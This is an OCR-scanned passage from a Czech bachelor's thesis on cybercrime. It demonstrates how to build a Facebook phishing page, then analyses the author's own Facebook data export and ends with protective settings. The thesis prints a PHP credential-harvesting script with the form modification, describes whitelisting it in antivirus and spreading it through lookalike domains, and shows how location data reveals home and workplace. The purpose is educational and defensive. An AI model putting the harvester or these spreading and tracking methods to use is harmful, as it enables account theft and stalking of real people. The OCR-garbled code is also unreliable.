post.php, ktery budeme vytvaret nasledn¢ a je zodpovédny za akci ulozeni ptihlasovacich
udajti do souboru. [76]

<form method="post" action="post.phd" class="be bf" id="login_form" novalidate="1">

Obr. 22. Upravena hodnota atributu action [archiv autora]

5.1.3 Secript

V tomto kroku jiz dochdzi k vytvotfeni souboru s ndzvem post.php, do které¢ho se vlozi
samotny script (PHP kod), starajici se o uloZzeni pfihlaSovacich Udaji obéti (uzivatelské
jméno a heslo) do textového souboru, a nasledné ptesmerovani na spravnou, ditvéryhodnou

prihlasovaci stranku https://m.facebook.com [76]

<?php

header ('Location: https://m.facebook.com'};
f$handle = fopen('prihlasovaciudaje.txt', "a'};
foreach($_PO5T as $variable => %walue) {
fwrite($handle, $wvariable);

fwrite($handle, '=");

fwrite($handle, $wvalue);

fwrite($handle, 'rn'};

¥

fwrite($handle, 'rn'};

fclose($handle);

exit;

e

Obr. 23. PHP script provadéjici ukladani udaji

[archiv autora]

Tento script je volné dostupny na ne€kolika webovych strankéch, ale i v oficidln€ vydané
literatute. To, Ze je script funkéni a opravdu plni danou funkci potvrdil 1 antivirus, ktery tento

soubor okamzité rozpoznal jako hrozbu (PHP / Phishing.Agent.A.) a odstranil je;.


https://m.facebook.com/
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(es

A

Hrozba byla odstranéna

Pfi pfistupu k souboru aplikaci B Te

ditor byla

nalezena hrozba (PHP/Phishing.Agent

Soubor byl odstranén.

Zjistit vice

Obr. 24. Potvrzeni phishingu [archiv autora]

Jelikoz je tento soubor k funkcnosti nezbytny, pfidam jej v antivirovém programu mezi

vyjimky, abych zamezil jeho dalsi detekeci.

5.1.4 Testovani funkénosti
Na zaklad¢ splnénych krokti vyse, adresar nyni obsahuje 2 soubory, index.html a post.php.
Nyni tedy ptichdzi ¢ast, kdy otestujeme, zda vytvorend phishingova webova stranka plni

svou funkci a sbira ptihlaSovaci udaje. Funkénost ovéfim pouze na vytvoreném lokalnim

serveru pomoci software XAMPP, ktery se pouziva napiiklad pfi vyvoji
webovych aplikaci a je volné ke stazeni. [77]
il Vodadone CZ T 17:59 Fa7R W : = g il Viodabore CZ T 17:59 FaTum

A 192.168.0.106 ¢ 1) klepnutim na tlacitko “Prihlasit se AR & facebook.com &

= . s 2) dojde k ulozeni prihlasovacich udajt
do souboru
“prihlasovaciudaje txt”
ake mate moznost: zasady 3}pﬁgsnménjuénina|1epo€hwienou
webovou stranku

Wytvorit et

Telefonni cislo nebo e-mail Telefonni cislo nebo e-mail

TESTOVACI@EMAIL CZ
Heslo Heslo

sesssssee 2.

Priniasit se

nebo

Zapomnél(a) jste heslo?

prihlasovaciudaje
fisis

Plinlasit se

nebo

Wytvofit novy iEet

Zapomnél{a) jste heslo?

Obr. 25. Prubeh utoku [archiv autora]

V prvnim kroku tedy obét’ vyplni své piihlasovaci udaje a stiskne tlacitko ,,Prihlasit se®.

V druhém kroku se tidaje obéti ulozi do souboru ,prihlasovaciudaje.txt* a nasledné v tfetim
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kroku probéhne pfesmérovani na oficidlni ptihlasovaci stranku Facebooku, kterd je od

nasi podvrzené k nerozeznani.

index.html postphp  prihlasovac
iudaje.tet

Soubor Upravy Formét Zobrazeni Nipovéda
email=TESTOVACI@EMAIL.CZ
pass=123456789

Obr.26. Ziskané prihlasovaci udaje

[archiv autora]

Funkénost scriptu byla tedy uspé$né ovétena diky ulozenym piihlaSovacim tdajim obéti

v souboru ,, prihlasovaciudaje.txt “.

5.1.5 Si¥eni phishingové webové stranky

Pfi realném phishingovém utoku jsou tyto soubory samoziejmé nahrany na webhosting a §ifi
se nejcastéji pod vhodnou doménou, kterd ptisobi na obét’ divéryhodné. Z minulosti napf.
utoky pod doménou alrbank.cz, coZ je snadno zaménitelné s divéryhodnou doménou

airbank.cz. [10]

Jak jiz bylo popisovano v teoretické Casti, nejcastéji se tyto phishingové webové stranky $iti
pomoci emailu s vyzvou k piihldSeni a zméné hesla z divodu napadeni Uctu, avSak k
Sifeni l1ze vyuzit jakykoliv dalsi zpisob, napf. zaslanim SMS ¢i smySlené zpravy z faleSného

profilu ptitele obéti.

Povazujme tedy, ze phishingovy utok na Facebookovy ucet obéti byl uspésny a utocnik
ziskal ptrihlasovaci udaje v podob¢ uzivatelského jména a hesla, coz je dostacujici k tomu,
aby nad danym uctem ziskal kontrolu a mohl o obé¢ti ziskavat dalSi zajimavé informace.

Nasledujici ¢ast praktické casti bude tedy vé€novana analyze dat, které Facebook sbird pfi

jeho pouzivani.
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6 ANALYZA DAT SESBIRANYCH FACEBOOK APLIKACI

Jednou ze zajimavych funkci, kterou Facebook nabizi v nastaveni profilu je funkce stazeni
vaSich informaci, kterd je sice chranéna heslem, avsak doslo-li jiz k napadeni uctu a
neopravnénému pfistupu, je pravdépodobné, ze heslo a uzivatelské jméno je v rukou

uto¢nika a nebrani tedy nic ve stazeni vSech informaci z napadeného profilu.

V piipadech, kdy se uzivatel ptihlasoval na zatizeni, ke kterému ma piistup vice osob a z
n¢jakého diivodu nedoslo k odhlaseni, se k této funkci vSech informaci o profilu dostane
prakticky kdokoliv, jelikoz lze tyto informace prohlizet (nikoliv vSak stahovat zminénou
funkci) 1 bez zadévani hesla. Informaci, které 1ze timto krokem ziskat je obrovské mnozstvi,

protoze Facebook uklada veskerou aktivitu, kterou uzivatel za dobu pouzivani provede.

V této praktické ¢asti provedu analyzu dat stazenych z mého osobniho tc¢tu Facebook, ktery

pouzivam od roku 2009.

6.1 Stazeni informaci

K informacim, které Facebook za celou dobu mého pouzivani ziskal, se lze dostat pies
aplikaci ¢i webovou verzi Facebooku v zdlozce ,,Vase informace na Facebooku* a poté
bud'to prochéazet tyto informace online po zadani hesla anebo vyuZzit moZnosti staZeni
informaci do souboru. Pro rychlejSi prochdzeni dat wvyuZiji moZnost staZeni

informaci do souboru.

Stazeni vasich informaci

Kdykoli si miZete stahnout kopii informaci, které mate na Facebooku. Bud si miZete stahnout Gpinou kopii, nebo si miZete vybrat jen ty
typy informaci a obdobi, které chcete. MiZete si zvolit, jestli cheete své informace dostat ve formatu HTML, ktery se dobfe prohliZi, nebo
ve formatu JSON, ktery mize jiné sluzbé usnadnit jejich import.

StaZeni va3ich informaci je proces chranény heslem, ke kterému budete mit pfistup jen vy. AZ bude kopie vytvofena, bude nékolik dni k
dispozici ke staZeni.

Pokud si své informace chcete prohlédnout, aniZ by se stahly, mizete k nim kdykoli kdykoli pfistupovat.

Pozadat o kopii Dostupné kopie

Obdobi: VsSechna moje data « Format: HTML + Kvalita médii: Vysoka «

Obr. 27. Funkce stazeni informaci profilu [78]

Po kliknuti na tlacitko ,,Vytvorit soubor* se objevi informac¢ni hlaska o ptijeti pozadavku a

vyckani na kopii nasich informaci. V mém piipadé¢ tato akce trvala cca 24 hodin.
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6.2 Analyza staZenych dat

Po obdrzeni informace o vytvofené kopii mych informaci provedu tedy jejich stazeni. Zde
nastava prvni pocit ,,zdéSeni®, jelikoz velikost stazenych archivli byla neuvéfitelnych
15,3 GB. Po extrahovani a nasledném otevieni adresari zjist'uji, ze soucasti téchto stazenych
informaci je prakticky vSe od odeslanych zprav, fotek, provedenych platbach, telefonnich

kontaktti, pouzivanych IP adres, az po polohové informace a mnoho dalsiho.

Adresare a jejich velikosti
0 2

Zpravy
Fotky a videa

Informace o zabezpeceni a prihlasovani 1,73 MB
Historie vyhledavani 2,84 MB
UloZené polozky a sbirky | 0,02 MB
Profilové informace 0,14 MB
Ptispévky
Historie plateb | 0,03 MB
Stranky | 0,02 MB
Ostatni aktivita | 0,03 MB
Marketplace | 0,02 MB
Poloha 0,20 MB
To se mi libi a reakce 2,66 MB
Skupiny 1,00 MB
Pratelé 0,24 MB
Koho sledujete a vasi sledujici 0,08 MB
Soubory 26,40 MB
Uddlosti 0,16 MB
Komentare 0,80 MB
Aplikace a weby 0,70 MB
Reklamy a firmy 7,60 MB
Informace o vas 1,05 MB

0,00 5,00 10,00 15,00 20,00 25,00 30,00 [MB]

Obr. 28. Velikosti sesbiranych dat Facebookem [archiv autora]

Jak lze z grafu pozorovat, adreséte, které obsahuji nejvice dat, jsou predevsim odeslané

zpravy, fotky a videa, v souctu 15,26 GB. Celkové se jedna o 28 694 souborti a 2938 slozek.

Jednotlivé informace Ize prochazet bud’to manualné po slozkach anebo pomoci souboru
index.html, ktery data rozdé€luje do jednotlivych kategorii a umoznuje jejich prochazeni

v uZivatelsky privétivém prostredi.
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Poloha
Informace souvisejici s vasi polohou

Historie polohy

Informace o vas
Informace spojené s vasim Facebook Gétem

Va5 adresar

Skupina podobnych pratel

O Informace o zabezpecdeni a pfihlasovani

Historie vasich pfihladeni, odhlaseni, dob, kdy jste byl na Facebooku aktivni, a
zafizeni, ze kierych na Facebook chodite

Informace o souborech DART cookie
Pouzité IP adresy

Administrativni zaznamy

PFihlageni a odhlaeni

Alktivita na détu

Data pro ochranu pfihlageni

Ovéfena phihlageni

Kde jste prihlageni

Obr. 29. Rozhrani souboru index.html [archiv autora]

Na obrdzku vySe jsou zobrazena ukézka tii kategorii informaci z celkovych
Ctyfiadvaceti, které lze prochazet, avSak 1 na tomto malém piikladu si lze v§imnout, ze
pouzivanim aplikace Facebook zanechavame velké mnozstvi riznych dat, které je mozné

zneuzit.

VSechny kategorie informaci, které je mozno prohliZet jsou uvedeny v tabulce €. 1 nize.



UTB ve Zliné, Fakulta aplikované informatiky 51

Tab. 1. Vsechny kategorie dostupnych dat a jejich popis (upraveno, Rozek 2020) [78]

Kategorie Obsah

Ptispevky Vami sdilené ptispeévky na Facebooku, ptispévky skryté na
vasi timeline a vami vytvofené ankety

Fotky a videa Vami nahrané a sdilené fotky a videa

Komentare Komentare, které jste piidal ke svym piispevkim,

prispeévkiim jinych lidi nebo ve skupinach, ve kterych jste

To se mi libi a reakce

Piispévky, komentéie a stranky, kterym jste dal To se mi
libi nebo jste na n¢ zareagoval

Pratelé

Lidé, se kterymi jste na Facebooku spojeni

Piibehy

Fotky a videa sdilena ve vasem ptibéhu

Koho sledujete a vasi
sledujici

Lidé, organizace nebo firmy, u kterych jste urcil, Zze od nich
chcete vidat obsah, a lid¢, ktefi vas sleduji

Zpravy Zpravy, které jste si na Messengeru vymeénili s jinymi
lidmi

Skupiny Skupiny, ve kterych jste, skupiny, které spravujete, a vase
ptispévky a komentaie ve skupinéach, ve kterych jste

Udalosti VaSe reakce na udalosti a seznam vami vytvofenych

udalosti

Profilové informace

Vase kontaktni udaje, idaje z oddilu Informace na vasem
profilu, vase Zivotni udalosti, konicky a hudba.

Stranky Stranky, jichz jste spravcem
Marketplace Vase aktivita na Marketplace
Historie plateb Historie vami provedenych plateb pies Facebook

UloZené poloZky a sbirky

Seznam vami ulozenych pfispévki a aktivita ve sbirkach

Vase mista

Seznam vami vytvofenych mist

Aplikace a weby

Aplikace a weby, ke kterym se ptihlasujete pies
Facebook a vami spravovan¢ aplikace

Dalsi aktivita

Aktivita spojend s va$im uctem, naptiklad kdyZ né¢koho
Stouchnete nebo né€kdo vas

Reklamy a firmy

Z4jmy ohledn¢ reklam
Inzerenti, se kterymi jste provedl n¢jakou interakci

Historie vyhledavani

Historie vaSich vyhledavéani na Facebooku

Poloha

Informace souvisejici s vasi polohou

Informace o vas

Informace spojené s vasim Facebook uctem
e Vas adresar
e Skupina podobnych ptatel

Informace o zabezpeceni a
pfihlasovani

Historie vasich ptihlaseni, odhlaseni, dob, kdy jste byl na
Facebooku aktivni, a zafizeni, ze kterych na Facebook
chodite.

e Pouzité IP adresy

e Kde jste ptrihlaseni



file:///D:/BC_FB_DATA/facebook-St3veee(1)/ads_and_businesses/ads_interests.html
file:///D:/BC_FB_DATA/facebook-St3veee(1)/ads_and_businesses/advertisers_you've_interacted_with.html
file:///D:/BC_FB_DATA/facebook-St3veee(1)/about_you/your_address_books.html
file:///D:/BC_FB_DATA/facebook-St3veee(1)/about_you/friend_peer_group.html

UTB ve Zliné, Fakulta aplikované informatiky 52

6.2.1 Profilové informace, kontakty

Po otevieni stazené¢ho souboru s profilovymi informacemi jsem zjistil, ze i kdyZ méam
urcité tidaje na profilu oznacené jako skryté, tento soubor je i ptesto obsahuje. Tyké se to
pfedevs§im nasledujicich udaji:

e Emailové adresy

e Telefonni ¢isla

e Datum narozeni

e Bydliste

e Aktualni rodinny stav — v¢etné udaji o ptedchozich vztazich a jmen téchto osob

¢ Rodinné vazby — profily osob rodinnych ptislusnikl se vztahem k mému profilu

Dalsi zajimavy soubor s nazvem ,,your address _books.html*, ktery jsem pifi prochazeni
jednotlivych adresarti nalezl mé svym obsahem zaskocil, jelikoz si nejsem védom, ze bych
nékdy aplikaci udélil souhlas k pfistupu ke kontaktim z emailové schranky ¢i seznamu

kontaktu v telefonu.

Obsah souboru
your_address_books.html

Emailové adresy Telefonni Cisla

Pocet jednotlivych kontaktu

Obr. 30. Mnozstvi telefonnich kontaktu a emailovych adres [archiv autora]

Celkem se jednalo 2591 kontaktd, se kterymi jsem nckdy komunikoval budto
prostiednictvim emailu anebo telefonniho hovoru. Zajimavé vsak je 1 zjisténi, ze nékteré

kontakty uz jsem z telefonu davno smazal, ale zde jsou ptesto dostupné.
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6.2.2 Analyza konverzaci

Co se tyce konverzaci (zprav), tak ty jsou dostupné v souboru ,,your messages.html*.
Celkem se za 11 let pouzivani Facebooku a Messengeru jedna o 1014 konverzaci o velikosti

5,71 GB, viz. Obr. 28.

Co mé¢ vsak piekvapilo, bylo mnozstvi prihlasovacich udaji (uzivatelskych jmen a hesel),
které mi bud’ byly v pribéhu tohoto obdobi zaslany nebo jsem sam zaslal k riznym sluzbam,

z nejruznéjSich diivodi. VétSina udaji jsou dokonce stale aktualni a funkéni.

Nalezené prihlasovaci udaje v konverzacich

Nefunkéni prihlasovaci udaje Funkéni prihlasovaci udaje

Obr. 31. Nalezené prihlasovaci udaje v konverzacich a jejich funkcnost [archiv autora]

Celkem jsem v konverzacich nalezl 34 ptihlaSovacich Gdaji z nichZ neuvéfitelnych 22 je
stale aktualnich a funkc¢nich. Jednalo se naptiklad o pfistupové Udaje k administraci

webovych stranek, Wi-Fi siti ¢i emailu. V konverzacich stacilo pouze vyhledat frazi ,,heslo*.

Troufnu si fici, ze spousta uzivatelll nékdy skrze chatovaci aplikaci Facebooku ¢i jinou
komunikac¢ni aplikaci poskytla néjaky ptfihlasovaci udaj, k jakékoliv sluzbé a vystavuje se

tak riziku zneuziti téchto udajt.

6.2.3 Prihlasena zarizeni

Velmi zajimava data obsahuje taktéZ soubor s ndzvem ,where you're logged in.html“.

Obsahuje informace o tom, na kterych zatizenich je mlij Facebook ucet piihlaSeny, véetné
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ptesného data ptihlaseni, polohy a IP adresy Ci typu zatfizeni. Zjistil jsem, ze sviij i¢et mam
ptihlaSeny na celkem sedmi zafizenich. V tabulce nize uvadim informace z jednoho z nich.

7 1dajii 1ze mimo jiné vyc¢ist i pouzitého mobilniho operatora — Vodafone.

Tab. 2. Prihlasena zarizeni a informace [archiv autora]

Zatizeni iPhone 7 Plus

Vytvofeno 18.9.2019 1:59

Aktualizovano 3.2.2020 14:32

Poloha Brno, Czech Republic

IP adresa 46.135.93.123

Prohlize¢ Mozilla/5.0 (iPhone; CPU iPhone OS 13 3 like Mac OS X)

Apple WebKit/605.1.15(KHTML, like Gecko)
Mobile/15E148[FBAN/FBIOS;FBAV/255.0.0.34.118;
FBBV/195456474;FBDV/iPhone9,4;
FBMD/iPhone;FBSN/iOS;
FBSV/13.3;FBSS/3;FBID/phone;FBLC/cs CZ;FBOP/5;
FBRV/196325838;FBCR/VF CZ]

Soubor COOkie 826B********************

6.2.4 Polohové udaje

V této Casti se vénuji analyze polohovych udaji, které aplikace Facebook v mém chytrém
telefonu ziskala. K této analyze bylo potfeba udélit aplikaci opravnéni k pfistupu k
polohovym udajam. Data byla sbirana po dobu jednoho mésice, presnéji od 14. inora do 14.
bfezna 2020. Provedu ukdzku toho, jak je mozné ze ziskanych dat zjistit pomérné
jednoduse napfiiklad polohu bydlisté, pracoviste ¢i pravidelné navstévovanych mist a zjistit
timto zplisobem, v které dny a hodiny je dané osoba pravidelné¢ mimo domov ¢i na urcitém

miste.
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Zobrazeni historie polohy &
Vae historie polohy je soukroma a miiZete ji kdykoli odstranit,

patek N

6. biezen 2020

o Misto v Pferov

£ 19:09 — pa 5:51

o Misto v Prerov

5:51- 6:03
. Na cestach
‘t’ N

0% - Fed Misto v Hranice

324

s 40 minutes

o Misto v Hranice

644 -13:24
, Q
&
. Na cestach
° 13:24 - 1336

o Misto v Pferov

1336 -14:.02

o Misto v Pferov

14:02 - 19:20

o Misto v Prerov

pa19:20 —so0 9:25

Obr. 32. Zobrazeni polohovych udajii [archiv autora]

Pti prochazeni zaznamenanych polohovych tidajli 1ze vycist 1 piesny Cas straveny na urcitém
misté. Jako nazornou ukazku jsem vybral patek 6. biezna, kde Ize tento Casovy udaj po

rozkliknuti vidét. V levém menu lze sledovat vS§echny zaznamenané polohy za cely den.
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POCET HODIN
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Ujezdec Ostatni / cestovani B Prerov - Jilemnického

Obr. 33. Analyza polohovych dat — pocet hodin stravenych na urcité poloze

[archiv autora]

Z téchto dat 1ze pomérné snadno odvodit, podle poctu stravenych hodin na urcitém misté a

pravidelnosti vyskytu, kde méa doty¢né osoba bydlisté, praci a dalsi pravidelné aktivity.
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Z mych dat za dané obdobi 1ze tedy zjistit nasledujici:

Nejvice Casu jsem stravil na poloze Prerov — Pod skalkou, coz lze povazovat za
misto bydliste

Druhé nejéastéjsi zaznamenana poloha — Hranice — tfida CSA, kde lze pozorovat
pravidelnost ve dnech pond¢li az patek. Vzhledem k poctu strdvenych hodin Ize
logicky odvodit, Ze se jedna o misto pracoviste.

Polohovy udaj Prerov — Jilemnického, s pravidelnym vyskytem ve dnech pond¢li,
stteda, patek lze po prohlédnuti dat prispévki na profilu, oznacit za adresu
neoficidlni posilovny.

Dalsi polohova data se vztahuji k mistu Zlin — Nad Stranémi, opakujici se kazdych
14 dni (mimo posledniho tydne), lze odvodit, ze se jednd o polohu
FAI, kde stravim pramérné 10 hodin kazdy druhy patek a sobotu.

Pozorovat lze i uréitou vazbu k poloze — Ujezdec

Z této kratké analyzy polohovych dat si 1ze odvodit 1 souvisejici bezpecnostni rizika, ktera

mohou piedstavovat v ptipad¢, Ze by doslo k jejich zneuziti (stalking, kradeze atd.). Stazena

polohova data taktéZ obsahuji 1 pfesné ¢asové Udaje, kdy se doty¢né osoba na urcitém misté

vyskytuje, avSak ty zde vSechny z urcitych divodi uvadét nebudu. Viditelné jsou jako

ukazka z jednoho dne na Obr. 32.

6.3 Opatieni

Tato ¢ast navazuje na jiz vypsand doporuceni a opatfeni v teoretické Casti. Zaméefim se

predev§im na detekci samotného phishingu online nastrojem VirusTotal.com a dale

doporucend nastaveni aplikace Facebook a profilu, ke zvySeni soukromi a bezpecnosti pfi

jejich pouzivani.

6.3.1

Detekce phishingu pomoci Virustotal.com

Béhem psani teoretické cCasti bakaldfské prace jsem se shodou okolnosti setkal s

phishingovym tGtokem skrze SMS zpravu, kterou obdrzela ma ptitelkyné dne 10. inora 2020.

Zprava upozoriiovala na zablokovani tctu u spolecnosti Apple a obsahovala také URL odkaz

k jeho odblokaci viz. foto nize
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Obr. 34. Phishingovy utok ze dne 10.2.2020

[archiv autora]

K ovéfeni, zda se jedna o phishingovou webovou stranku je mozné vyuZit online nastroj,
dostupny na webové adrese VirusTotal.com, ktery zdarma analyzuje soubory i URL adresy
a je schopny detekovat rizné typy malware ¢i phishing. Do pole pro analyzu URL adresy
jsem tedy zadal odkaz, ktery obsahovala SMS zprava. Vysledkem toho testu byl pozitivni

nalez phishingového ¢i jinak Skodlivého koédu ve ctyfech databazich antivirovych

v 7
spolecnosti.
]
4 (1) 4 engines detected this URL
http://apple-verify.me/apple_cz 200 text/html; charset=UTF-8
apple-verify.me
DETECTION DETAILS COMMUNITY
Avira (no cloud) \_‘, Phishing CyRadar \_‘, Malicious
Forcepoint ThreatSeeker \_J Phishing Sophos AV \_J Malicious

Fortinet Spamhaus

Obr. 35. Vysledek testu nastrojem VirusTotal.com [79]

Stejnym zptsobem si 1ze otestovat jakoukoliv jinou URL adresu ¢i soubor, u kterého si neni

uzivatel jisty, zda neobsahuje malware, phishing ¢i jiny prvek pfedstavujici bezpecnostni
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riziko. Je vSak nutno podotknout, Ze ne vSechny hrozby jsou detekovany, kvuli

mnozstvi, které jich denné vznikne.

6.3.2 ZvySeni bezpe¢nosti pri vyuzivani aplikace Facebook

Ke zvySeni bezpecnosti pii vyuzivani Facebook aplikace, doporucuji provést nasledujici

opattenti.

6.3.2.1 Dvoufazové ovéieni

Jedna se o nastaveni, které zamezi ptistupu k uctu uzivatele z neznamého zatizeni a vyzve
jej kzadani ovéfovaciho kodu generovaného v aplikaci Google Authenticator. Timto
opatfenim lze tedy vyrazné snizit potencialni bezpecnostni rizika plynouci z neopravnéného

pristupu k uc¢tu, osobnim tdajim a datim ¢i jeho Gplného odcizeni.
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Obr. 36. Kroky 1-6 k aktivaci dvoufazoveho ovéreni [archiv autora]

Po splnéni téchto kroki dojde ke spusténi aplikace Google Authenticator, ktera je

zodpovédna za generovani potvrzovacich kodi.
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pozadame vés o zadani kodu.

Obr. 37. Kroky 7—10 k aktivaci dvoufiazového overeni [archiv autora]

Potvrzenim nastaveni, tlac¢itkem ,,Hotovo®, jsme uspésné aktivovali ochranu naseho uctu

v podob¢ dvoufazového ovéteni. V ptipadé, ze by se k uétu snazil ptihlasit utocnik, ktery

néjakym zplisobem ziskal piihlasovaci udaje, aplikace tento piistup zablokuje a vyzve k

zadani ovéfovaciho kodu z aplikace Google Authenticator.

6.3.2.2 Deaktivace vyuZivani polohovych udaji

Dalsim bezpecnostnim opatfenim ke snizeni rizika zneuZziti polohovych udaja, je

deaktivace vyuzivani polohovych sluzeb aplikaci Facebook, véetné deaktivace vytvareni

historie piesnych poloh a jejich smazéani. K tomuto nastaveni se opét, jako v predchozim

pfipadé, lze v aplikaci dostat pfes moznost ,Nastaveni a pfislusné polozky s ndzvem

,,Poloha“.
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Obr. 38. Deaktivace polohovych sluzeb,

[archiv autora]
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Nastavenim téchto hodnot 1ze zabranit snimani nasich polohovych tidaja aplikaci Facebook,

kter¢ jsem analyzoval v pfedchozi kapitole. Odstranénim veSkeré historie polohy

eliminujeme riziko zneuziti téchto udajl v pfipadé zmocnéni se zafizeni ¢i uctu

neopravnénou osobou.
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ZAVER

Teoreticka cast prace byla zaméiena predevSim na rizné druhy kriminality pachané v
kyberprostoru a z ni vyplyvajici bezpecnostni rizika. Obsahem této Casti byla i ma osobni
zkuSenost s kyberkriminalitou, pfesn¢ji phishingem a s néslednym odcizenim financi.
Poukazuje taktéz na rizika spojend s vyuzivanim socidlnich siti prostfednictvim chytrych
zafizeni, a to predevsim tykajici se déti, které se Casto stavaji ter¢em kyberSikany ¢i sextingu.

Zaroven byly popsany zékladni pravidla ¢i zasady, slouZzici jako prevence a opatieni.

V praktické casti byla provedena ukéazka toho, jakym zplsobem vznikaji phishingové
webové stranky a jaka rizika phishing pfedstavuje v ptipadé, Ze se uto¢nik dostane k idajim
a datim napiiklad Facebookového tctu. V mém ptipadé se jednalo o data velikosti cca 15,3
GB, coz se da pfirovnat k velikosti filmu v lepsi kvalité. Pfevdznou ¢ast, cca 9,55 GB tvotily
fotky a videa. Mimo jiné tato data obsahovala spoustu osobnich udajt typu: datum narozeni,
bydlisté, rodinné vazby, a dokonce i v§echny emailové a telefonni kontakty (i véetné davno

smazanych).

Analyzou konverzaci a hledané fraze ,heslo” jsem zjistii 22 stile platnych
ptihlaSovacich tdajt k raznym sluzbam. Naslednou analyzou polohovych udaji jsem dospél
k zavéru, Ze se z téchto tdaji da bez vétsich obtizi zjistit, kde ma dana osoba bydlisté, praci
¢1 jind mista, které pravidelné navstévuje, a to veetné Casli, kdy se na téchto mistech
vyskytuje. Potvrdil jsem si tedy, ze z pouhého mésice sniméni polohy aplikaci Facebook lze
z téchto dat kompletné zmapovat pohyb uzivatele a vyuzit tyto informace napiiklad
k pachani dalsi trestné ¢innosti. V ndvaznosti na tyto skute¢nosti byly zpracovany postupy
ke zjiStovani kybernetickych hrozeb pomoci online nastroje Virustotal.com a zabezpeeni
Facebook aplikace pomoci dvoufdzového ovéteni, k minimalizaci rizika odcizeni uctu a
zneuziti informaci. V posledni fad€¢ byl uveden postup k deaktivaci vyuzivani polohovych

udaji a smazani veSker¢ historie polohy, kterou kdy aplikace Facebook ziskala.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

ICT

TCP/IP
WWW
CVUT
ITU
IoT
SMS
GPS
NUKIB
PDF
OCR
URL
Wi-Fi
(D)DoS
HTTP

HTTPS

PIN kod
HTML
PHP
GB

IP adresa

(Information and Communications Technology) Informacni a komunikacéni
technologie

Protokol pro sitovou komunikaci

World Wide Web

Ceské vysoké uéeni technické v Praze

International Telecommunication Union (Mezinarodni telekomunika¢ni unie)
Internet of Things (internet véci)

Short Message Service (sluzba pro kratké textové zpravy)

Global Positioning Systém (globalni pozi¢ni systém)

Nérodni ufad pro kybernetickou a informacni bezpecnost

Portable Document Format (forméat pro dokumenty)

Optical Character Recognition (optické rozpoznavani znakii)

Uniform Resource Locator — adresa informaci v siti internet

Bezdratova komunikace / sit’

(Distributed) Denial of Service — (distribuované) odepieni sluzby

Hypertext Transfer Protocol — protokol pro komunikaci webového prohlizece a
serveru

Hypertext Transfer Protocol Secure — protokol pro komunikaci webového
prohliZzece a serveru (zabezpeceny)

Ciselny kod

Hypertext Markup Language — textovy znackovaci jazyk

Skriptovaci jazyk webovych stranek aplikaci

GigaByte — jednotka mnoZstvi dat

Logické adresa zafizeni v siti
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